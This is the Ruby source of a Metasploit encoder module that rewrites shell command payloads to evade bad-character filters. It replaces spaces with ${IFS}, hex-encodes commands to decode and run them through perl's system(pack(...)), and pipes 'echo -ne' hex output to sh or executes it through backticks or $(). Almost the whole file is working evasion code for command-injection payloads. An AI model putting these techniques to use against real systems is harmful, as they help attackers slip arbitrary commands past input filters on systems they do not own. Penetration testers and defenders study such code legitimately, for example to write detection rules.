147 lines
3.6 KiB
Ruby
147 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Encoder
|
|
|
|
# Has some issues, but overall it's pretty good
|
|
Rank = ManualRanking
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Generic Shell Variable Substitution Command Encoder',
|
|
'Description' => %q{
|
|
This encoder uses standard Bourne shell variable substitution
|
|
tricks to avoid commonly restricted characters.
|
|
},
|
|
'Author' => 'hdm',
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix')
|
|
end
|
|
|
|
|
|
#
|
|
# Encodes the payload
|
|
#
|
|
def encode_block(state, buf)
|
|
|
|
# Skip encoding for empty badchars
|
|
if(state.badchars.length == 0)
|
|
return buf
|
|
end
|
|
|
|
if (state.badchars.include?("-"))
|
|
# Then neither of the others will work. Get rid of spaces and hope
|
|
# for the best. This obviously won't work if the command already
|
|
# has other badchars in it, in which case we're basically screwed.
|
|
if (state.badchars.include?(" "))
|
|
buf.gsub!(/\s/, '${IFS}')
|
|
end
|
|
else
|
|
# Without an escape character we can't escape anything, so echo
|
|
# won't work. Try perl.
|
|
if (state.badchars.include?("\\"))
|
|
buf = encode_block_perl(state,buf)
|
|
else
|
|
buf = encode_block_bash_echo(state,buf)
|
|
end
|
|
end
|
|
|
|
return buf
|
|
end
|
|
|
|
#
|
|
# Uses the perl command to hex encode the command string
|
|
#
|
|
def encode_block_perl(state, buf)
|
|
|
|
hex = buf.unpack("H*")
|
|
cmd = 'perl -e '
|
|
qot = ',-:.=+!@#$%^&'
|
|
|
|
# Find a quoting character to use
|
|
state.badchars.unpack('C*') { |c| qot.delete(c.chr) }
|
|
|
|
# Throw an error if we ran out of quotes
|
|
raise EncodingError if qot.length == 0
|
|
|
|
sep = qot[0].chr
|
|
|
|
# Convert spaces to IFS...
|
|
if (state.badchars.include?(" "))
|
|
cmd.gsub!(/\s/, '${IFS}')
|
|
end
|
|
|
|
# Can we use single quotes to enclose the command string?
|
|
if (state.badchars.include?("'"))
|
|
|
|
if (state.badchars.match(/\(|\)/))
|
|
|
|
# No paranthesis...
|
|
raise EncodingError
|
|
end
|
|
|
|
cmd << "system\\(pack\\(qq#{sep}H\\*#{sep},qq#{sep}#{hex}#{sep}\\)\\)"
|
|
|
|
else
|
|
if (state.badchars.match(/\(|\)/))
|
|
if (state.badchars.include?(" "))
|
|
# No spaces allowed, no paranthesis, give up...
|
|
raise EncodingError
|
|
end
|
|
|
|
cmd << "'system pack qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}'"
|
|
else
|
|
cmd << "'system(pack(qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}))'"
|
|
end
|
|
end
|
|
|
|
return cmd
|
|
end
|
|
|
|
#
|
|
# Uses bash's echo -ne command to hex encode the command string
|
|
#
|
|
def encode_block_bash_echo(state, buf)
|
|
|
|
hex = ''
|
|
|
|
# Can we use single quotes to enclose the echo arguments?
|
|
if (state.badchars.include?("'"))
|
|
hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join
|
|
else
|
|
hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'"
|
|
end
|
|
|
|
# Are pipe characters restricted?
|
|
if (state.badchars.include?("|"))
|
|
# How about backticks?
|
|
if (state.badchars.include?("`"))
|
|
# Last ditch effort, dollar paren
|
|
if (state.badchars.include?("$") or state.badchars.include?("("))
|
|
raise EncodingError
|
|
else
|
|
buf = "$(/bin/echo -ne #{hex})"
|
|
end
|
|
else
|
|
buf = "`/bin/echo -ne #{hex}`"
|
|
end
|
|
else
|
|
buf = "/bin/echo -ne #{hex}|sh"
|
|
end
|
|
|
|
# Remove spaces from the command string
|
|
if (state.badchars.include?(" "))
|
|
buf.gsub!(/\s/, '${IFS}')
|
|
end
|
|
|
|
return buf
|
|
end
|
|
|
|
end
|